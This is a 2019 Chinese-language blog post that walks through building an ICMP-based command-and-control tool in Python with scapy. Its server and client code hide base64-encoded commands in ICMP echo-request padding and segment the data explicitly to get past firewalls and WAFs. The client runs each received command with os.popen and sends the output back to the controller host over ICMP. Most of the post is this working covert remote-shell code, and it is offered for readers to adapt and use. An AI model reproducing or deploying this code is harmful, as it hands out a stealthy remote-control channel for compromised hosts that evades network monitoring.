Implementation of ICMP C2
前言
之前在学校写了一个ICMP的远控,现在来说一下当初写的思路
正文
windows安装scapy:Windows上安装scapy - 晴空无云 - 博客园
1.首先你得确定你这个远控有啥功能,你要怎么去实现。通过什么协议来实现,数据包的交互过程是?
2.数据在传送过程中会遇到什么问题?数据包过大会不会发送不了,或者只发送一半?
3.是否要对传输的过程进行加密
我这里使用的协议是ICMP,使用scapy来实现ICMP头,然后使用Padding来带入我要发送的值
例如:
server
from scapy.all import *
class demo:
def __init__(self,eth,dst,src):
self.eth=eth
self.dst=dst
self.src=src
def server(self,data):
a= IP(ttl=10, dst=self.dst, src=self.src) / ICMP(type="echo-request") / Padding(load='{}'.format(data))
send(a,count=1)
if __name__ == '__main__':
d=demo(eth='Realtek RTL8188EU Wireless LAN 802.11n USB 2.0 Network Adapter',src='127.0.0.1',dst='192.168.3.75')
d.server(data='demo')
client
from scapy.all import *
class demo:
def __init__(self,eth,dst,src):
self.eth=eth
self.dst=dst
self.src=src
def client(self):
jieshou = sniff(iface=self.eth, filter='icmp', count=1, timeout=99999)
paddings = jieshou[0]['Padding']
print(paddings)
jg = str(paddings).lstrip("b'"[0]).replace("'", '')
if jg != '':
print(jg)
if __name__ == '__main__':
d=demo(eth='Realtek RTL8188EU Wireless LAN 802.11n USB 2.0 Network Adapter',src='127.0.0.1',dst='192.168.3.75')
d.client()
由于Padding头最多带的数据好像是1084byte,所以发送数据的时候要进行分段
为了确保不被防火墙或WAF拦截数据,对传输的数据进行base64编码
例子:
server
from scapy.all import *
import base64
class demo:
def __init__(self,eth,dst,src):
self.eth=eth
self.dst=dst
self.src=src
def server(self,data):
a= IP(ttl=10, dst=self.dst, src=self.src) / ICMP(type="echo-request") / Padding(load='{}'.format(data))
send(a,count=1)
if __name__ == '__main__':
d=demo(eth='Realtek RTL8188EU Wireless LAN 802.11n USB 2.0 Network Adapter',src='127.0.0.1',dst='192.168.3.75')
bm=bytes.decode(base64.b64encode(b'demo'))
d.server(data=bm)
client
from scapy.all import *
import base64
class demo:
def __init__(self,eth,dst,src):
self.eth=eth
self.dst=dst
self.src=src
def client(self):
jieshou = sniff(iface=self.eth, filter='icmp', count=1, timeout=99999)
paddings = jieshou[0]['Padding']
jg = str(paddings).lstrip("b'"[0]).replace("'", '')
if jg != '':
print(bytes.decode(base64.b64decode(jg)))
if __name__ == '__main__':
d=demo(eth='Realtek RTL8188EU Wireless LAN 802.11n USB 2.0 Network Adapter',src='127.0.0.1',dst='192.168.3.75')
d.client()
命令交互:
方法:
1.发送命令被控端接受命令
2.被控端接受了命令并将base64解码执行完成后
3.通过逐步读取然后base64编码发送,最后发送执行命令后的长度
4.服务端接受返回结果base64解码输出,如果接收到最后的长度就代表接收的数据是完整的
例子:
server:
from scapy.all import *
import base64
class demo:
def __init__(self,eth,dst,src):
self.eth=eth
self.dst=dst
self.src=src
def server(self,data):
a= IP(ttl=10, dst=self.dst, src=self.src) / ICMP(type="echo-request") / Padding(load='{}'.format(data))
send(a,count=1)
self.js()
def js(self):
while True:
jieshou = sniff(iface=self.eth, filter='icmp', count=1, timeout=99999)
paddings = jieshou[0]['Padding']
jg = str(paddings).lstrip("b'"[0]).replace("'", '')
try:
if jg != '':
print(bytes.decode(base64.b64decode(jg)))
except:
pass
if jg.isdigit()==True:
break
if __name__ == '__main__':
d=demo(eth='Realtek RTL8188EU Wireless LAN 802.11n USB 2.0 Network Adapter',src='127.0.0.1',dst='192.168.3.75')
bm=bytes.decode(base64.b64encode(b'whoami'))
d.server(data=bm)
client
from scapy.all import *
import base64
import os
class demo:
def __init__(self,eth,dst,src):
self.eth=eth
self.dst=dst
self.src=src
def fs(self,data):
a= IP(ttl=10, dst=self.dst, src=self.src) / ICMP(type="echo-request") / Padding(load='{}'.format(data))
send(a,count=1)
def client(self):
jieshou = sniff(iface=self.eth, filter='icmp', count=1, timeout=99999)
paddings = jieshou[0]['Padding']
jg = str(paddings).lstrip("b'"[0]).replace("'", '')
if jg != '':
zx=os.popen(bytes.decode(base64.b64decode(jg)))
q=0
for z in zx.readlines():
zb=bytes.decode(base64.b64encode(bytes(z,encoding='utf-8')))
self.fs(zb)
q+=int(len(zb))
self.fs(q)
if __name__ == '__main__':
d=demo(eth='Realtek RTL8188EU Wireless LAN 802.11n USB 2.0 Network Adapter',src='127.0.0.1',dst='192.168.3.75')
d.client()
还有一些其他功能,也差不多类似。仓库地址如下(各位可自己修改代码自己用):
python/ICMP远控 at master · 422926799/python · GitHub
转载请声明:转自422926799.github.io
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:Implementation of ICMP C2
本文作者:九世
发布时间:2019-03-03, 08:25:02
最后更新:2019-04-19, 20:36:16
原始链接:http://jiushill.github.io/posts/eac90672.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。